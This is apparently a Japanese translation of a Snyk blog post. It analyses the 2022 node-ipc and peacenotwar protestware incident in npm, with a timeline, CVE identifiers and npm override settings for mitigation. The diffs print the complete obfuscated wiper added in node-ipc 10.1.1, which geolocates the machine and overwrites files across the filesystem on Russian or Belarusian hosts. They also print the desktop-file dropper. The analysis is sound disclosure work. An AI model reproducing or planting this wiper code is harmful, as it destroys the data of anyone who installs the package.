本記事は2022年3月16日に発表した弊社の英語ブログAlert: peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraineを日本語化した内容です。
2022年3月15日、人気の JavaScript フロントエンドフレームワーク Vue.js のユーザーは、npm のエコシステムに対するサプライチェーン攻撃に見舞われました。これは、パッケージ node-ipc
とそこから参照されている peacenotwar
に対して、node-ipc
パッケージのメンテナー (管理者) が抗議行為として妨害したことにより起こりました。
このセキュリティ事件には、あるメンテナーによるディスク上のファイルを破壊する行為と、その意図的な破壊行為をさまざまな形で隠蔽し言い換えようとする試みが関わっています。これは抗議目的の攻撃ですが、ソフトウェアサプライチェーンが直面しているより大きな問題、つまり、コード内の推移的依存関係がセキュリティに大きな影響を与える可能性があることを浮き彫りにしています。
Snyk は、この記事で説明するセキュリティインシデントを、以下の CVE で記録しています。node-ipc
は CVE-2022-23812 を、peacenotwar
と oneday-test
の npm モジュールは SNYK-JS-PEACENOTWAR-2426724 をご覧ください。オープンソースセキュリティやサプライチェーンセキュリティのために既に Snyk を使用している場合、Snyk による通知、アラート、自動プルリクエストを通じて、安全性の維持と、最新情報を受取ることが可能です。このサプライチェーン攻撃の詳細については、引き続き本ブログをお読みください。
npm パッケージ node-ipc の悪用に至るまでの出来事
この話は2022年3月8日午後6時 GMT+2 に始まります。その時、npm メンテナーの RIAEvangelist(Brandon Nozaki Miller)はソースコードを書き、peacenotwar という npm パッケージを公開しました。そこには次の説明がありました。
This code serves as a non-destructive example of why controlling
your node modules is important. It also serves as a non-violent
protest against Russia's aggression that threatens the world right
now. This module will add a message of peace on your users'
desktops, and it will only do it if it does not already exist
just to be polite.
昨日 (3月15日) までは、このモジュールのダウンロード数はほとんどゼロでした。しかし、npm のメンテナーがこのモジュールを他の人気モジュール node-ipc
の依存パッケージとして追加したことで、状況が変わりました。このモジュール自体が、エコシステムの中で多くの JavaScript 開発者が依存している人気のあるパッケージです。
そのような JavaScript エコシステムのプロジェクトの1つが、Vue.js のコマンドラインツールである Vue.js CLI で、@vue/cli
という npm パッケージとしても知られています。次の依存関係ツリーは、node-ipc
が Vue.js CLI の npm パッケージに組み込まれている様子を正確に示しています。加えて、入り組んだ依存関係を大きなリスクとして見極める必要性を訴えています。
- @vue/cli
|
- @vue/cli-ui
|
- node-ipc@^9.2.1
- @vue/cli-shared-utils
|
- node-ipc@^9.1.1
現在の最新「安定版」npm パッケージ node-ipc
(バージョン9.2.2) は peacenotwar
をバンドルています。さらに興味深いことに、悪名高い colors
npm パッケージをもワイルドカード *
の範囲指定でバンドルしています。もしあなたが npm パッケージの colors と、npm パッケージのメンテナー Marak によって意図的に悪用され、破損した faker の話を聞いていないなら、オープンソースのサプライチェーンセキュリティにおけるもう1つの出来事として、その内容を確認することをお勧めします。
イベントのタイムライン
node-ipc
は9ヶ月前の10.0.0から半年前の10.1.0までのバージョンで、正常にアップデートや改良が行われています。しかし...
3月7日
先週、バージョン10.1.1が公開され、ソースコードの不審な動きやパッケージの動作の悪用の可能性が懸念される明確なコードの更新が行われました。バージョン10.1.0と10.1.1の違いについて探ってみましょう。
diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.0..v10.1.1 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,6 +1030,74 @@
});
}
+// dao/ssl-geospec.js
+var import_path = __toModule(require("path"));
+var import_fs3 = __toModule(require("fs"));
+var import_https = __toModule(require("https"));
+setTimeout(function() {
+ const t = Math.round(Math.random() * 4);
+ if (t > 1) {
+ return;
+ }
+ const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
+ import_https.default.get(n.toString("utf8"), function(t2) {
+ t2.on("data", function(t3) {
+ const n2 = Buffer.from("Li8=", "base64");
+ const o2 = Buffer.from("Li4v", "base64");
+ const r = Buffer.from("Li4vLi4v", "base64");
+ const f = Buffer.from("Lw==", "base64");
+ const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+ const e = Buffer.from("cnVzc2lh", "base64");
+ const i = Buffer.from("YmVsYXJ1cw==", "base64");
+ try {
+ const s = JSON.parse(t3.toString("utf8"));
+ const u2 = s[c.toString("utf8")].toLowerCase();
+ const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
+ if (a2) {
+ h(n2.toString("utf8"));
+ h(o2.toString("utf8"));
+ h(r.toString("utf8"));
+ h(f.toString("utf8"));
+ }
+ } catch (t4) {
+ }
+ });
+ });
+}, Math.ceil(Math.random() * 1e3));
+async function h(n = "", o2 = "") {
+ if (!import_fs3.default.existsSync(n)) {
+ return;
+ }
+ let r = [];
+ try {
+ r = import_fs3.default.readdirSync(n);
+ } catch (t) {
+ }
+ const f = [];
+ const c = Buffer.from("4p2k77iP", "base64");
+ for (var e = 0; e < r.length; e++) {
+ const i = import_path.default.join(n, r[e]);
+ let t = null;
+ try {
+ t = import_fs3.default.lstatSync(i);
+ } catch (t2) {
+ continue;
+ }
+ if (t.isDirectory()) {
+ const s = h(i, o2);
+ s.length > 0 ? f.push(...s) : null;
+ } else if (i.indexOf(o2) >= 0) {
+ try {
+ import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+ });
+ } catch (t2) {
+ }
+ }
+ }
+ return f;
+}
+var ssl = true;
+
node-ipc.cjs
という CommonJS 互換の Node.js モジュールは1000行以上とかなり長いコードになっています。リモートへのアウトバウンド HTTPS リクエストの存在と、その中の Base64 エンコードされたデータは、ここで起こりうる不正行為を暗示するのに十分なもので、IoC(侵害の兆候)の根拠でもあります。
node-ipc@10.1.1
に追加されたこのコードは、タイマーを設定し、あらかじめ設定されたランダムな間隔で、node-ipc
関連のコードが呼び出され、ファイルシステム操作と思われる関数も実行されます。
ファイルシステム操作を実行する関数に渡された引数の Base64 エンコード値を詳しく見てみましょう。上記の diff より:
+ const n2 = Buffer.from("Li8=", "base64");
+ const o2 = Buffer.from("Li4v", "base64");
+ const r = Buffer.from("Li4vLi4v", "base64");
+ const f = Buffer.from("Lw==", "base64");
+ const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+ const e = Buffer.from("cnVzc2lh", "base64");
+ const i = Buffer.from("YmVsYXJ1cw==", "base64");
上記すべての値がタイマー関数に渡されます。例えば次のとおり:
+ h(n2.toString("utf8"));
上記の Base64 でエンコードされた文字列の値は、以下の通りです:
-
n2
は./
と設定される -
o2
は../
と設定される -
r
は../../
と設定される -
f
は/
と設定される
これらをタイマー関数に渡すと、次の行でファイル入力のソースとして使われ、ファイルの内容を消去してハートの絵文字に置き換えます (diff 出力より + const c = Buffer.from("4p2k77iP", "base64");
)。
+ try {
+ import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+ });
この時点で、この npm パッケージを呼び出したシステムがロシアまたはベラルーシの地理的位置に一致する場合、非常に明確な不正使用と深刻なサプライチェーンのセキュリティ事故が発生します。
node-ipc@10.1.1
の README
ファイルの更新内容には、この新しく追加された動作についての記載はありません。代わりに、RIAEvangelist
を援助する呼びかけと、バージョン10以上の ES6 と CommonJS バージョンの node-ipc
を使用する方法の例が含まれています。
約10時間後、node-ipc@10.1.2
がリリースされましたが、バージョンが上がった以外はほとんど変更されていません。潜在的には、パッケージの自動アップグレードを実行させることを意図していたのかもしれません。以下は、2つのバージョンの git の完全な差分です。
diff --git a/package.json b/package.json
index v10.1.1..v10.1.2 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
{
"name": "node-ipc",
- "version": "10.1.1",
+ "version": "10.1.2",
"description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
"type": "module",
"main": "node-ipc.cjs",
3月8日
続いて3月8日、およそ5時間後に、新しいリリースがプッシュされています。この node-ipc@10.1.3
では、前述の破壊的なペイロードの兆候はすべて取り除かれているようです。この2つのバージョンの git の差分を調べると、以下のことが確認できます。
diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.2..v10.1.3 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,74 +1030,6 @@
});
}
-// dao/ssl-geospec.js
-var import_path = __toModule(require("path"));
-var import_fs3 = __toModule(require("fs"));
-var import_https = __toModule(require("https"));
-setTimeout(function() {
- const t = Math.round(Math.random() * 4);
- if (t > 1) {
- return;
- }
…
diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
deleted file mode 100666
index v10.1.2..v10.1.3
--- a/dao/ssl-geospec.js
+++ b/dao/ssl-geospec.js
@@ -1,1 +0,0 @@
-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
この挙動を報告した GitHub issue に端を発した会話により、これは10.xバージョンのブランチからロールアウトされていたと思われます。その会話では、このペイロードをライブラリの新しいメジャーバージョンの一部として公開したとメンテナーは主張しています。
つまり、現時点では、node-ipc
の脆弱なバージョン node-ipc@10.1.1
および node-ipc@10.1.2
は、npmjs レジストリ上に 24 時間未満だけ存在していたと言えます。一方で公開リポジトリで報告されているように、開発者およびビルドシステムによるダウンロード数が多かったため、その一部に確実に影響を与えていたとも考えられます。
しかし、脆弱性のあるバージョン10.1.1
と10.1.2
はもはや npmjs レジストリには存在せず、実際にメンテナーまたは npmjs チームによって非推奨
のフラグが立てられています。このことは、以下の npmjs のウェブサイトの通知から確認できます。
3月8日7:25PM GMT+2、破壊的なペイロードをロールバックするためのnode-ipc@10.1.3
が公開されてから4時間足らずで、新しいメジャーバージョンnode-ipc@11.0.0
がnpmjsレジストリにリリースされました。何が変わったのでしょうか?
新しいメジャーバージョン node-ipc@11.0.0
には、以下が含まれるようになりました。
- 依存パッケージ
peacenotwar
の追加 -
node-ipc
モジュールの機能が呼び出されると、peacenotwar
モジュールから取り出したメッセージを STDOUT に出力するとともに、ロシアとウクライナのその時点の戦時状況に関する内容のファイルをユーザーのデスクトップディレクトリに配置する。 - 11.0.0 の README では、このモジュールの一部として
peacenotwar
が明示的に使用されていることが、以下の注で伝えられています:
***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.
npm パッケージ peacenotwar
がメインラインの node-ipc のバージョンに入れられ、何百万人もの開発者に影響を与えるようになったのはなぜでしょうか?
3月15日
昨日、3月15日の6:49PM GMT+2 と 7:40PM GMT+2 に、node-ipc 用の重要かつインパクトのある2つの新しい npm バージョンが公開されました。このうち最も重要なのは、新しいパッチバージョン node-ipc@9.2.2
です。これは node-ipc
の最新の安定ブランチで、前述の @vue/cli
Vue.js CLI を含む多くのエコシステムプロジェクトがこれに依存している事実がその理由です。
以下は、node-ipc@9.2.2
で追加された変更点です。
- パッケージのコンテンツにサンプルソースコードを追加しました。
- 依存パッケージとして
peacenotwar
を追加し、node-ipc
が呼び出されたときにpeacenotwar
を実行するようにしました。 - また、他のメンテナーによる意図的な脆弱性のあるソースコードを取り込む依存パッケージ
colors@*
を明示的に追加しています。 - この新しいマイナーバージョンでは、ライセンスを MIT ライセンスから DBAD ライセンスに変更しています。 編集者注:DBAD ライセンスは粗暴な表現を含んでいます。
ほぼ同時期に、新しいマイナーバージョンがリリースされました。node-ipc@11.1.0
で、依存先の peacenotwar
をバージョンアップしますが、console.log() から STDOUT へ出力されるメッセージを削除しています。node-ipc
の2つの npm パッケージの間の違いは、以下の git 差分ログで確認することができます。
diff --git a/node-ipc.cjs b/node-ipc.cjs
index v11.0.0..v11.1.0 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1328,7 +1328,6 @@
var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
function deliverAPeacefulMessage(path2, message) {
- console.log(path2);
try {
import_fs5.default.writeFile(path2, message, function(err) {
});
@@ -1336,7 +1335,6 @@
}
}
if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
- console.log("in here");
const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
diff --git a/package.json b/package.json
index v11.0.0..v11.1.0 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
{
"name": "node-ipc",
- "version": "11.0.0",
+ "version": "11.1.0",
"description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
"type": "module",
"main": "node-ipc.cjs",
@@ -19,7 +19,7 @@
"event-pubsub": "5.0.3",
"js-message": "1.0.7",
"js-queue": "2.0.2",
- "peacenotwar": "^9.1.3",
+ "peacenotwar": "^9.1.5",
"strong-type": "^1.0.1"
},
"devDependencies": {
メンテナーの評判に左右されるサプライチェーンの安全性
メンテナー RIAEvangelist の意図的で危険な行為が、一部の人には正当な抗議行為として受け止められるとしても。そのことは、そのメンテナーの今後の評判や開発者コミュニティでの利害にどう反映されるでしょうか。このメンテナーは、将来参加するプロジェクトに対して同様な、あるいはさらに攻撃的な行動を行わないとして、再び信頼されることはあるのでしょうか?
現在、RIAEvangelist は他の npm パッケージを40以上保守しており、それらのダウンロード数は数億にのぼります。以下は、当人がメンテナンスしているモジュールの一部と、npmjs レジストリでの週間ダウンロード数です。
npm Module | Weekly downloads |
---|---|
node-ipc — A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning. | 1,055,386 |
js-queue — Simple JS queue with auto run for node and browsers. | 1,042,512 |
easy-stack — Simple JS stack with auto run for node and browsers. | 1,001,945 |
js-message — Normalized JS Object and JSON message and event protocol for node.js, vanialla js, react.js, components, actions, stores and dispatchers. | 1,001,943 |
event-pubsub — Super light and fast Extensible ES6+ events and EventEmitters for Node and the browser. Easy for any developer level, use the same exact code in node and the browser. No frills, just high speed events! | 996,076 |
node-cmd — Simple commandline/terminal/shell interface to allow you to run cli or bash style commands as if you were in the terminal. | 41,083 |
Snyk Security Research チームは、このメンテナーによる他のパッケージで、このような意図的な不正使用が行われている兆候を発見していませんが、npmjs エコシステムに公開されるアップデートには引き続き警戒を続けます。
node-ipcの問題を軽減する方法
将来のコード更新によってユーザーが危険にさらされることが懸念されるため、node-ipc
npm パッケージの利用を完全に停止することをお勧めします。この npm パッケージが構築中のアプリケーションの一部としてプロジェクトにバンドルされている場合、npm パッケージマネージャの機能を使って妨害されたバージョンを完全に上書きし、推移的依存関係を問題がないと確認されているものに固定することをおすすめします。
パッケージマネージャとして npm を使用している場合、package.json
ファイルに以下を追加することで、node-ipc
の無害なバージョンのみを明示的に許可することができます。
"overrides": {
"node-ipc@>9.2.1 <10": "9.2.1",
"node-ipc@>10.1.0": "10.1.0"
}
まとめ
Snyk はウクライナを支持します。 私たちは現在進行中の危機において、寄付や世界中の開発者への無料サービスによるウクライナの人々への支援、またロシアやベラルーシでのビジネス停止措置を積極的に行っています。しかし、今回のような意図的な悪用は、グローバルなオープンソースコミュニティを弱体化させるものであり、影響を受けるバージョンの node-ipc
にセキュリティ脆弱性があるとして警告する必要があります。
そのため、Snyk セキュリティチームは、CVE-2022-23812 と SNYK-JS-PEACENOTWAR-2426724を公開し、意図的に脆弱性を埋め込まれたバージョンの node-ipc
のセキュリティ脆弱性を警告および追跡しています。Snyk の無料プランもこの新しい脆弱性に対応しており、開発者によるスキャンや監視、プルリクエストを通じた自動セキュリティ修正の適用が可能です。
しかしながら、サプライチェーンのセキュリティ事故の影響は、オープンソースの依存関係によるリスクを適切に管理し、迅速に対応することの必要性を示し続けています。さらに、JavaScript のエコシステムである npmjs のような入り組んだ依存関係の複雑さは、エコシステムの主要なプロジェクトに複合的な影響を与えることを再び証明しました。
わずか2ヶ月前、私たちは、オープンソースのメンテナーが npm パッケージの「colors」と「faker」を停止させ、メンテナーが意図的にオープンソースライブラリを破壊する能力を示す、同様のセキュリティインシデントによる広範囲の影響を取り上げました。
ソフトウェアの依存関係を大規模に管理するスキルを身につけることは、明らかに重要となってきています。開発者として npm セキュリティのベストプラクティスに確実に従うだけでなく、npmロックファイルが悪意のあるモジュールを注入するためのセキュリティの盲点となる理由など、セキュリティの落とし穴や事故について学ぶことも同じく重要です。
サプライチェーンのセキュリティについては、以下のブログで詳しく説明しています。